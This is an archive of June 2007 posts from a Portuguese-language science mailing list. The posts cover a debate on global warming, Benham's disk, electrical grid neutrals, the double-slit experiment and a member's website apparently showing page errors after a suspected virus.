O endereço do site do prof. Luiz Ferraz Neto é www.feiradeciencias.com.br e é o máximo, com um detalhe faz isto por amor e começou este projeto ocupando tralhas e mais tralhas para construir instrumentos para visualizar a ciencia a baixo custo.
A ele eu desejo inúmeros parabéns e muitos anos de vida e seja exemplo de amor ao próximo.

---------- Forwarded message ----------
From: edsol guimarães <edsonroguimaraes@gmail.com>
Date: 08/06/2007 15:14
Subject: Popularização da ciência
To: leobarretos@uol.com.br


Bom Dia!

Boa Tarde!
Caro Professor Luiz Ferraz Neto.
Fiquei impressionado com a riqueza de informações, o alto nível das abordagens, a variedade de temas afins à realidade da ciência pouco difundida e absorvida pelos educando no país, principalmente na rede pública. Na tentativa de fazer algo de forma voluntária em prol da educação no setor público para alunos dos níveis médio e fundamental, gostaria de pontuar algumas observações na expectativa de receber suas orientações.
Tenho uma área de + - 76 m² (um apartamento abaixo do meu), que tem 03 salas de 3,0 X 3,0 metros, um banheiro, uma cozinha, uma sala de recepção ampla, uma varanda e posteriormente irei concretar uma laje de 9m² que será um local ventilado para atividades como manuseio em experiências com reações químicas ou afins e com isto a área total será de 84m².
Como sou voluntário gostaria de confeccionar instrumentos pedagógicos para visualizar conceitos em física, matemática e química; com madeira, ferros, plásticos enfim materias de baixo custo. Poderia me orientar na formulação deste projeto me dando informações de quais as metodologias simples, um roteiro ou plano de etapas de exposição de experiências, etc.
Imaginei como exemplo uma caixa em acrílico, para visualizar queda livre e conciliar com os cálculos, onde esta caixa teria pressão, umidade, tempo de queda tudo controlado. Em química com um erlenmeyer, ou béquer visualizar deslocamento de equilíbrio de reações, ou velocidade de reações, etc. Em matemática poderia ser aplicado metodologias relacionadas à física ou matemática exemplificando equações afins, etc.
Não tenho recursos mais boa vontade e para um projeto de R$ 3.000,00 o que posso fazer de início?
Com percebo que é um entusiasta pela ciência, acho que posso contar com você inclusive utilizando os vários instrumentos utilizados por voce no seu site. É com pessoas como você que o Brasil se mantém na busca pelo pódio do saber, não obstante o humor da maioria dos políticos não sinalize boa vontade para isto.
Aguardo respostas!
Tenha um ótimo final de semana!!!


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Petição contra o aquecimento global
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 11:09

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu

>
> Pra ser mentira de q o aquecimento global seja causado pela ação
> humana é preciso mais do q incerteza. É preciso certeza de q é
falsa.
> Ou no mínimo ter sérias dúvidas - o q significa dados q indiquem a
> falsidade da hipótese.

>>>E' mais ou menos por ai' meu ponto. Se de fato o aquecimento
global e' uma tendencia, nao uma oscilacao de curva, e se de fato e'
causado pelo CO2 de origem antropogenica, e' arriscado nao fazer nada
sobre isso. E' arriscado ignorar a possibilidade ate' q se tenha a
certeza q a hipotese e' falsa. Se for verdadeira, isso pode criar uma
sequencia de eventos alem do ponto de retorno, com consequencias
graves para a humanidade. Como precaucao e' valido um esforco de se
reduzir essa emissao. Ate' ai' tudo bem. No entanto, se esse esforco
impactar tb de modo grave o desenvolvimento de um pai's, temos nesse
momento q pesar a certeza de uma coisa grave, prejudicial e imediata
com a incerteza de outra, potencial e futura. Esse e' o limite a q me
referi.

Abs,
Eduardo Torres



SUBJECT: Re: A Nova Roma Antiga.UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 11:12

Bom dia Takata e a todos,

belas imagens. As imagens utilizaram réplicas 1:250 feitas durante
3 décadas de trabalho. Imagens geradas por Scanners 3D de alta
resolução e tecnologia holográfica talvez serão muito utilizadas em
videogames, material didático, internet e treinamento não militar daqui
alguns anos.

Saudações. UCFilho

http://www.romereborn.virginia.edu/Plastico.pdf

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> http://www.romereborn.virginia.edu/
> ----------------
> O Instituto de Tecnologia Avançada em Humanidades da Universidade de
> Virgínia, EUA, recriou digitalmente a Roma Antiga (cerca de 320 a.C.).
>
> []s,
>
> Roberto Takata
>




SUBJECT: Fw: Motor
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 11:13

Que beleza!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: André Silva
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 7 de junho de 2007 10:28
Assunto: Motor


Olaaaa...o meu nome e André i tirei um motor de uma maquina de lavar roupa, i queria por esse motor num carro que eu fix...como posso ligar o motor sem ser a uma ficha de electricidade....?

Obrigado pela atenxao: André Silva

Aguardo uma resposta


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: duvida
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 11:18

Alguém tem detalhes sobre "disco de Behnan" e "roleta maluca"?
Não consigo identificar o que a consulente pede.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: Heloisa Lachi
Para: Luiz Ferraz Netto
Enviada em: quarta-feira, 6 de junho de 2007 19:18
Assunto: Re: duvida


Obrigada pelo retorno,
Eu não tenho as fotos pois estão no livro mas posso tentar descrevê-las
O disco de Behnam é dividido metade branco com pequenos detalhes pretos e a outra metade toda preta( FORMATO DE UM DISCO)
a roleta maluca também é circular formando uma espiral ( desenhada em preta)
Espero que tenha conseguido explicar
mais uma vez muito obrigada
Heloisa
On 6/3/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
Por gentileza, envie-me fotos ou links para que eu veja tais aparelhos.

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: Heloisa Lachi
Para: leobarretos@uol.com.br
Enviada em: sábado, 2 de junho de 2007 16:54
Assunto: duvida


Olá
Inicialmente gostaria de parabenizar pelo site maravilhoso e agradecer pela ajuda que fornece seu site. tenho uma duvida e ficaria muito grata se pudesse me ajudar, gostaria de entender o funiconamento da roleta maluca e do disco de Behnam pois não consegui entender seu funcionamento.
Muito obrigada
Heloisa


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Petição contra o aquecimento global
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 11:22

Olá pessoal

Eduardo (baseado na proposição do Takata): "Pode ser q o homem nu seja
um amante, mas nao se pode eliminar a possibilidade de nao ser
(embora reconheca q essa probabilidade nao parece ser significativa)."

Embora a discussão seja importante, e este debate interessante, me
lembrei de uma antiga piada sobre homens nús nos quartos de esposas:

"A mulher chama o marceneiro para ver um problema com a porta do
armário de seu quarto. Ela abre a tôa, a cada vez que veículos pesados
passam na rua, como ônibus.

O marceneiro examina, olha, ajusta, e não tem nada de errado,
aparentemente. Como a porta só abre de vez em quando, não dá para
saber o que há de errado. Então ele decide entrar no armário, e
esperar que um veículo passe e a porta abra, para ver de dentro o que
está errado.

Mas com a luz acessa (havia uma luz dentro do armário) e o calor
intenso, ele acaba tirando a camisa e ficando apenas de shorts.

De repente a porta se abre violentamente e um marido furioso pergunta:

- O que seu f*&*%$ está fazendo aí???!!!

E o marceneiro:

- O senhor não vai acreditar, mas estou esperando o ônibus...."


Voltando ao aquecimento global, esse é uma questão científica e, como
tudo em ciência, jamais será mesmo 100%. Nada é, mas
a questão é quanto perto disso estamos, e o que fazer a partir desse
conhecimento.

Sendo ou não causa humana, há um aquecimento. E embora a Terra possa
sobreviver a isso, seres humanos talvez não possam, qualquer que seja
a origem.

Debater essa questão então se torna fundamental, e a tentativa de
deixar para lá o assunto, e se ater a discussões ideológicas, torna
tudo mais perigoso.

Algumas semanas atras rolou uma discussão sobre este assunto em outra
lista, e eu e o Mori ficamos de um lado e praticamente todos os outros
(boas pessoas, boas cabeças e muito inteligentes e racionais), do outro.

Eu e o Mori defendíamos que deveria haver um motivo para o consenso
sobre a origem humana do aquecimento, ou mesmo forte influência
humana, e o outro lado defendia que ou não era assim, ou não era
possível saber devido a multiplicidade de fatores.

Se já é difícil decidir isso em um grupo de pessoas dispostas a
escutar, inteligentes e racionais, imagine na mídia..:-)

O que me pareceu o ponto mais importante do problema, qualquer que
seja a posição escolhida, e mesmo os que não concordam com a origem
humana do aquecimento concordaram com isso, é que, seja qual for o
motivo, existe um prazo, um tempo limite, em que seria possível fazer
algo, e que boa parte dos procedimentos de correção necessários em
caso de ser mesmo a ação humana a causa, são benéficos qualquer que
seja a origem do aquecimento.

Ou seja, se a origem somos nós e nossos hábitos, ações como economizar
energia, reciclar materiais, mudar o combustível fóssil para
alternativas, diminuir a emissão de carbono, etc, tem um prazo, curto,
para serem implantadas. Se demorar, não adianta mais. E o risco é
gigantesco, global e assustador, para ser deixado de lado.

Mas, mesmo que não seja essa a origem, todas essas ações são benéficas
de uma forma ou de outra. Reciclar diminui o desperdício, aumenta a
riqueza mundial, permite mais ajuda a países pobres, etc, fontes de
energias alternativas (nada a ver com medicina alternativa, por
favor..:-) melhoram a saúde das pessoas (menos poluição), economizam
combustíveis que vão acabar de toda forma um dia, aumentam nossa
capacidade tecnológica (a necessidade é mãe da invenção) e todo
processo de lidar melhor com o planeta melhora sua habitabilidade para
seres humanos.

E isso é importante, pois um erro crasso de ecologistas é alegar que
vamos "destruir o planeta". Não, no máximo vamos destruir o planeta
para a vida confortável de seres humanos, pois bactérias, plantas, e
milhares de espécies animais achariam ótimo um planeta quente e cheio
de carbono na atmosfera..:-)

E milhares de espécies que não podem surgir neste ambiente "venenoso
de oxigênio" seriam beneficiadas caso este acabasse, além de outros
seres em diferentes meios ambientes.

A vida neste planeta dificilmente acabaria, a não ser com a explosão
do Sol ou coisa parecida. O que estamos destruindo, se estamos
destruindo algo, é o conforto que este planeta apresenta para seres
humanos. E mesmo isso é uma análise "a posteriori", pois evoluímos
para nos adaptar a este ambiente. Muitas formas de vida achariam
medonha a temperatura e a exposição a tanta luz e oxigênio..:-)

Assim, o risco do aquecimento ser responsabilidade nossa deveria ser
suficiente para nos fazer agir de alguma forma. Pois ainda que seja
algo natural, qualquer ação nossa será de alguma forma benéfica (ainda
que seja para economizar energia para depois gastar com
condicionadores de ar em todas as casas..:-).

A discussão sobre a origem do aquecimento (já que o aquecimento quase
ninguém nega) é saudável e benéfica, e mesmo os cientistas que
discordam da origem deste estão trabalhando para melhorar nosso
entendimento nessa área.

Um abraço.

Homero




SUBJECT: Re: Fw: duvida
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 11:55

Olá Leo

A Roleta Maluca vai ser dificil, o nome é genérico demais, mas
encontrei essa menção sobre o disco de Behnan:

"Disco de Benham
Inicialmente só temos preto e branco. Coloque o disco a girar e repare
nas cores que vê. Há três tipos
de células diferentes nos nossos olhos: algumas são mais sensíveis à
luz vermelha, outras à verde e
outras à azul. Estes três detectores de cor reagem a velocidades
diferentes."

Parece ser um efeito de ilusão de ótica que gera cores a partir de um
disco pintado apenas com branco e preto.

A menção acima está neste link:

http://72.14.209.104/search?q=cache:zFmkPeaCRAUJ:www.pavconhecimento.mct.pt/accao_edu/ne/vtguiaocores.pdf+disco+com+as+cores+preta+e+branca&hl=pt-BR&ct=clnk&cd=15&gl=br

E neste link uma explicação mais detalhada:

http://www.pavconhecimento.pt/exposicoes/modulos/index.asp?accao=showmodulo&id_exp_modulo=72&id_exposicao=2

Um abraço.

Homero




SUBJECT: Re: [ciencialist] Fw: Neutro.
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 12:21

Não há neutro nas linhas de transmissão (tensões iguais ou acima de 230 kV),
nem nas linhas de distribuição ou de subtransmissão (tensões entre 13,8 kV e
138 kV). Nesses casos, usa-se ligação em delta (três fios), que não tem
neutro. Nas linhas de 13,8 kV ou 15 kV, muito comuns nas cidades brasileiras
e também ligadas em delta, quando se precisa de um neutro isso é provido por
um transformador de aterramento localizado na subestação de onde sai o
alimentador. O neutro pode ser necessário, por exemplo, no caso do
rompimento de um dos condutores, quando uma corrente de falta deve circular
para desligar o alimentador. A ligação delta não possibilitaria tal
corrente. Daí a necessidade do transformador de aterramento.

A ligação estrela com neutro (quatro fios) é usual nas linhas de baixa
tensão (220 V), quando o neutro é necessário para se fornecer energia em
ligação monofásica a consumidores residenciais ou comerciais de baixa
tensão.

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 13, 2007 11:01 AM
Subject: [ciencialist] Fw: Neutro.


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-----Mensagem Original-----
De: Edwards Vieira
Para: leobarretos@uol.com.br
Enviada em: sábado, 9 de junho de 2007 09:48
Assunto: Neutro.




Dr.Luiz Ferraz Netto.



Eu, Edwards Martins Vieira, residente em Goiânia-Go. Rua Dr.José Ferreira.
Qd. 45. Lt. 12. Jardim Pompéia.



Professor eu gostaria de saber, se uma rede de alta tensão ao sair da usina
para uma distribuidora, esta rede necessita de ser acompanhada por um cabo
de neutro ou uma malha neutra até a distribuidora.

Preciso da sua sabedoria, para que possa fazer um debate sobre neutro,
porque tenho uma convicção que o neutro, esta cada vez mais difícil de ser
perfeito, por causa do aquecimento do núcleo da terra.

Pode chegar um dia aonde teremos que ter equipamento para solução do neutro
não encontrado, puro.

Um abraço bem grande deste seu aluno que aprende muito pesquisando seu site.



Edwards Martins

Iventor.




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13:39


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SUBJECT: Re: [ciencialist] Fw: Motor
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 12:24

Se entendi bem, o motor é do tipo de indução monofásico. Ele vai precisar de
um inversor monofásico que converta a energia DC da bateria para energia AC
de 60 Hz. Nada muito complicado.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "ciencialist" <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 13, 2007 11:13 AM
Subject: [ciencialist] Fw: Motor


Que beleza!

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-----Mensagem Original-----
De: André Silva
Para: leobarretos@uol.com.br
Enviada em: quinta-feira, 7 de junho de 2007 10:28
Assunto: Motor


Olaaaa...o meu nome e André i tirei um motor de uma maquina de lavar roupa,
i queria por esse motor num carro que eu fix...como posso ligar o motor sem
ser a uma ficha de electricidade....?

Obrigado pela atenxao: André Silva

Aguardo uma resposta


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SUBJECT: Re: Asteróide verdadeiro ou publicitário?
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 13:50

--- Em ciencialist@yahoogrupos.com.br, "André L F S Bacci"
<andrebacci.listas@...> escreveu
>
>
> E por falar no Apophis... Alguém de cálculos mais recentes sobre a
> possível volta do bendito em 2036 ?

As probabilidades de impacto para 2036 serão recalculadas depois da
passagem do asteróide, em 2029, por que não se tem certeza sobre o
quanto a órbita do mesmo será alterada pela passagem próxima da Terra.

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 14:11

Homero >>> A "observação" nesse caso não é algo
separado e independente do que é observado, mas algo
dinâmico, que afeta o resultado da observação.

--- Isto é uma ilusão. A observação não altera a
realidade, altera apenas o mapa da realidade. Ondas e
particulas são mapas da realidade desde o inicio, não
são realidades.

Homero >>> O observador afeta o observado por uma
questão natural, física, não transcendental...

--- Que observação? Se a observação altera o observado
é porque o mapa deste (e não a realidade) é resultado
da qualidade da observação. E observação não tem nada
de fisica, nem racional, é transcendental mesmo.

--- Se não for, me digam, qual é a equação da
observação?





sinceramente
ferrari







--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Esteban
>
> A animação vai bem, quase até o final..:-) Acho que
> os físicos da lista podem corrigir melhor que eu,
> mas a alegação final oculta um fator importante, mas
> convenientemente "esquecido", do experimento.
>
> Quando o professor informa que foi instalado um
> dispositivo de observação, e ele demonstra isso com
> um "olho" mecânico, vai o aviso de que este
> dispositivo não "impede o elétron de seguir seu
> curso". E como todos nós temos a impressão que
> "ver", observar, pela experiência de nossa vida
> diária, é algo que não interfere com o que é visto
> (parece ser algo "natural"), ficamos com a impressão
> de que o dispositivo observador (o olho mecanico)
> também age dessa forma no mundo das particulas.
>
> Mas não é assim. O que o professor "esqueceu" de
> explicar é que não há forma conhecida de "observar"
> uma particula sub-atomica sem interferir com ela,
> sem modificar algo em seu comportamento. A
> "observação" nesse caso não é algo separado e
> independente do que é observado, mas algo dinâmico,
> que afeta o resultado da observação. É como tentar
> determinar a trajetória de uma bola de bilhar, não
> "olhando" para ela, mas enviando outras bolas de
> bilhar para se chocar com elas e analisar o
> resultado do choque.
>
> Nesse caso, o observador afeta o observado por uma
> questão natural, física, não transcendental ou
> esotérica. "Olhar" uma bola de bilhar, um objeto do
> macro-cosmo, não afeta de forma alguma a bola. Já
> "olhar" um elétron afeta, e tem de afetar, pois as
> formas de observar esta partícula é interagir com
> ela, em frequências de onda que são do "tamanho" do
> objeto observado (ou maior ou menor, e que produzem
> resultados diferentes em termos de precisão).
>
> O diabo é que eu gostei da animação, até quase o
> final..:-) Serviria de forma excelente para explicar
> as estranhezas da mecânica quantica para leigos, se
> não fosse essa "escorregada" final..:-)
>
> Um abraço.
>
> Homero
>
>
>
> ----- Original Message -----
> From: Esteban Moreno
> Sent: Tuesday, June 12, 2007 1:22 PM
> Subject: [ciencialist] Animação da experiência da
> fenda dupla
>
>
> Uma bela aula para refletir sobre os parodoxos da
> mecanica quântica:
>
> http://mojiti.com/kan/4192/13741/59852
>
> E.
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>
>
>
>
> [As partes desta mensagem que não continham texto
> foram removidas]
>
>


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SUBJECT: Re: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 14:52

Aqui também o site funciona normal, Prof. O Sr. tem mais de um navegador? Se
tiver, testa também nos outros. Usas Norton Antivirus?


Gil

Em 13/06/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Olá Homero,
>
> eu abro aqui no meu PC e aparece lá em baixo (status) : Erro na página.
>
> e eu não acho onde isso está!
>
> grato pela tentativa.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Oraculo" <oraculo@atibaia.com.br>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 12 de junho de 2007 17:18
> Assunto: Re: [ciencialist] O Imperdivel está sendo atacado por vírus
> vagabundo ... acho!
>
>
> Olá Leo
>
> Eu acessei o Feira de Ciências e está abrindo normalmente aqui.
>
> Homero
>
>
> ----- Original Message -----
> From: Luiz Ferraz Netto
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, June 12, 2007 4:51 PM
> Subject: [ciencialist] O Imperdivel está sendo atacado por vírus
> vagabundo ... acho!
>
>
> Chegando do rancho fui entrar na página do Imperdível. Pronto! Lá estava
> novamente aquela 'meleca' que o Homero (e outros) identificaram. A coisa
> voltou. Coloco novamente a página original on-line ... e agora aparece ___
> Erro na página! ___ E não consigo achar o tal erro.
> Quem se habilita a entrar na página principal e verificar que erro é
> esse?
> Agradeço.
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
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> Version: 7.5.472 / Virus Database: 269.8.13/843 - Release Date: 10/06/2007
> 13:39
>
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SUBJECT: Os que não dividivam o carro, tentando dividir o UM
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 15:10

Olás!

Takata >>> Não sei de onde vc tirou q a matéria é de
fato indivisível...

Ferrari >>> Do fato que Um é Um, indivisivel.

Takata >>> 1/2 = 0,5 (c.q.d.)

--- Me mostre 0,5 na natureza.

Luiz >>> Desde quando UM é indivisível?

--- Desde sempre.

Luiz >>> O que é 1/2? 1/4? 1/3? 1/32? 1/1000?

--- É matemática

Luiz >>> Vácuo é ausência de matéria.

--- Sim, e o que é ausencia? É a presença de
anti-matéria invertida ao quadrado da hipotenusa da
onda?



sinceramente
ferrari

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SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:16

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> >>>>No sentido q dei de 'cabalmente', considero essas tres teorias
> cabalmente provadas.

Elas são "apenas" testadas, bem testadas. Não cabalmente provadas.

> > Não se trata de ser ou não chato, ser ou não agradável. Afinal
> > tampouco é agradável para os países poluidores reconhecerem seu
> > papel - como o Brasil.
>
> >>>>Quem criou a expressao 'inconveniente' nao fui eu, foi Mr. Gore.
> Estava so' sendo ironico.

Algo não é mais ou menos verdadeiro porq. foi proferido por um
candidato derrotado em eleição fraudulenta.

Q é inconveninente para o Mr. Bush é fato - tto q ele se esforça para
q a tese de q ou não existe aquecimento ou q ele não trará dano ou q
ele não pode ser remediado ou q ele será remediado por outros meios q
não com a diminuição de consumo de combustíveis fósseis e outras
medidas q podem significar risco de perda de competitividade do modo
de produção americano vingue.

Tb é verdade q, em não se concretizando as previsões do 4o. IPCC,
muitas ONGs ambientalistas se virão em situação ruim.

Mas se for pra levantar teses conspiratórias, o cartel do petróleo via
Bush tem muito mais poder do q ONGs. De forma q a tese de complô da
mídia e dos ambientalistas para ocultar fatos q refutem o aquecimento
global antropogênico é muito, muito, muito fraca.

> searas diferentes. Se vamos falar em problemas ambientais no Brasil,
> o mais prioritario e urgente chama-se *esgoto domestico lancado in
> natura em rios, lagos e praias*. *Esse* problema e' ordens de
> grandeza mais prioritario q emissao de CO2, a meu ver.

Na mesma toada: se vamos falar de problemas no Brasil, a violência
urbana é um problema maior em diversas ordens de grandeza...

O tratamento de efluentes líquidos (e sólidos) domésticos é um
problema. Deve ser enfrentado. O q não faz com q a questão do
aquecimento global e suas conseqüências potenciais sejam negligenciáveis.

O aquecimento global não é apenas uma questão ambiental - tto mais
verdadeiro para o caso do Brasil. Ela mescla questões sociais,
econômicas, culturais, sanitárias e, sobretudo, políticas. Basta citar
apenas uma das linhas secundárias agora em voga do tema: o álcool
combustível - é a oportunidade do Brasil entrar como um grande ator no
cenário mundial, traz consigo o grande problema da mão-de-obra, tb a
questão do avanço dos canaviais sobre áreas agricultáveis e pressão
indireta sobre áreas de preservação, a questão dos subsídios q ainda
existem, etc, etc. Sem falar no desmatamento/queimadas e suas causas e
conseqüências.

> >>>>Sim, vc pegou bem o espirito da coisa. Nesse caso citado, como
> no caso do aquecimento global, ha' apenas a rigor evidencia
> circunstancial.

Todo indício é circunstancial.

> No caso da causa antropogenica do aquecimento global, no entanto, as
> probabilidades sao bem menos significativas q no caso do homem nu na
> cama surpreendido nas condicoes descritas.

O q não faz com q não seja significativa. Há amplo consenso entre os
especialistas - não há unanimidade, mas até aí não há, novamente,
sobre a teoria da evolução, da relatividade, da mecânica quântica,
etc. - no 4o. IPCC eles até deram um número (q não deve ser levado ao
pé da letra, mas apenas como um indicador): 90% de certeza de q o
aquecimento é causado por atividades humanas. Esse número é puro
chute? Não. É resultado de cruzamento de dados - as tais "evidências
circunstanciais".

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:18

Aqui tambem abre normalmente, as vezes acontece isso, erro de criptografia

sds

Em 13/06/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Olá Homero,
>
> eu abro aqui no meu PC e aparece lá em baixo (status) : Erro na página.
>
> e eu não acho onde isso está!
>
> grato pela tentativa.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
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> -----Mensagem Original-----
> De: "Oraculo" <oraculo@atibaia.com.br <oraculo%40atibaia.com.br>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: terça-feira, 12 de junho de 2007 17:18
> Assunto: Re: [ciencialist] O Imperdivel está sendo atacado por vírus
> vagabundo ... acho!
>
> Olá Leo
>
> Eu acessei o Feira de Ciências e está abrindo normalmente aqui.
>
> Homero
>
> ----- Original Message -----
> From: Luiz Ferraz Netto
> To: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Sent: Tuesday, June 12, 2007 4:51 PM
> Subject: [ciencialist] O Imperdivel está sendo atacado por vírus vagabundo
> ... acho!
>
> Chegando do rancho fui entrar na página do Imperdível. Pronto! Lá estava
> novamente aquela 'meleca' que o Homero (e outros) identificaram. A coisa
> voltou. Coloco novamente a página original on-line ... e agora aparece ___
> Erro na página! ___ E não consigo achar o tal erro.
> Quem se habilita a entrar na página principal e verificar que erro é esse?
> Agradeço.
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
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> [As partes desta mensagem que não continham texto foram removidas]
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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:29

Só tenho que rir, pois quero provas disso tudo...:-)

Aliás, se é isso mesmo, aquele fenômeno que observamos os nossos corpos
inteiros no coma(chamado por mim de cérebro voador) não cai por terra não?

sds

Em 12/06/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Esteban
>
> A animação vai bem, quase até o final..:-) Acho que os físicos da lista
> podem corrigir melhor que eu, mas a alegação final oculta um fator
> importante, mas convenientemente "esquecido", do experimento.
>
> Quando o professor informa que foi instalado um dispositivo de observação,
> e ele demonstra isso com um "olho" mecânico, vai o aviso de que este
> dispositivo não "impede o elétron de seguir seu curso". E como todos nós
> temos a impressão que "ver", observar, pela experiência de nossa vida
> diária, é algo que não interfere com o que é visto (parece ser algo
> "natural"), ficamos com a impressão de que o dispositivo observador (o olho
> mecanico) também age dessa forma no mundo das particulas.
>
> Mas não é assim. O que o professor "esqueceu" de explicar é que não há
> forma conhecida de "observar" uma particula sub-atomica sem interferir com
> ela, sem modificar algo em seu comportamento. A "observação" nesse caso não
> é algo separado e independente do que é observado, mas algo dinâmico, que
> afeta o resultado da observação. É como tentar determinar a trajetória de
> uma bola de bilhar, não "olhando" para ela, mas enviando outras bolas de
> bilhar para se chocar com elas e analisar o resultado do choque.
>
> Nesse caso, o observador afeta o observado por uma questão natural,
> física, não transcendental ou esotérica. "Olhar" uma bola de bilhar, um
> objeto do macro-cosmo, não afeta de forma alguma a bola. Já "olhar" um
> elétron afeta, e tem de afetar, pois as formas de observar esta partícula é
> interagir com ela, em frequências de onda que são do "tamanho" do objeto
> observado (ou maior ou menor, e que produzem resultados diferentes em termos
> de precisão).
>
> O diabo é que eu gostei da animação, até quase o final..:-) Serviria de
> forma excelente para explicar as estranhezas da mecânica quantica para
> leigos, se não fosse essa "escorregada" final..:-)
>
> Um abraço.
>
> Homero
>
> ----- Original Message -----
> From: Esteban Moreno
> Sent: Tuesday, June 12, 2007 1:22 PM
> Subject: [ciencialist] Animação da experiência da fenda dupla
>
> Uma bela aula para refletir sobre os parodoxos da mecanica quântica:
>
> http://mojiti.com/kan/4192/13741/59852
>
> E.
>
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SUBJECT: Re: [ciencialist] Os que não dividivam o carro, tentando dividir o UM
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:34

Ferrari

Vai confundi os dinos da ciência...:-)

sds

Em 13/06/07, Ferrari <emailferrari@yahoo.com.br> escreveu:
>
> Olás!
>
> Takata >>> Não sei de onde vc tirou q a matéria é de
> fato indivisível...
>
> Ferrari >>> Do fato que Um é Um, indivisivel.
>
> Takata >>> 1/2 = 0,5 (c.q.d.)
>
> --- Me mostre 0,5 na natureza.
>
> Luiz >>> Desde quando UM é indivisível?
>
> --- Desde sempre.
>
> Luiz >>> O que é 1/2? 1/4? 1/3? 1/32? 1/1000?
>
> --- É matemática
>
> Luiz >>> Vácuo é ausência de matéria.
>
> --- Sim, e o que é ausencia? É a presença de
> anti-matéria invertida ao quadrado da hipotenusa da
> onda?
>
> sinceramente
> ferrari
>
> EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

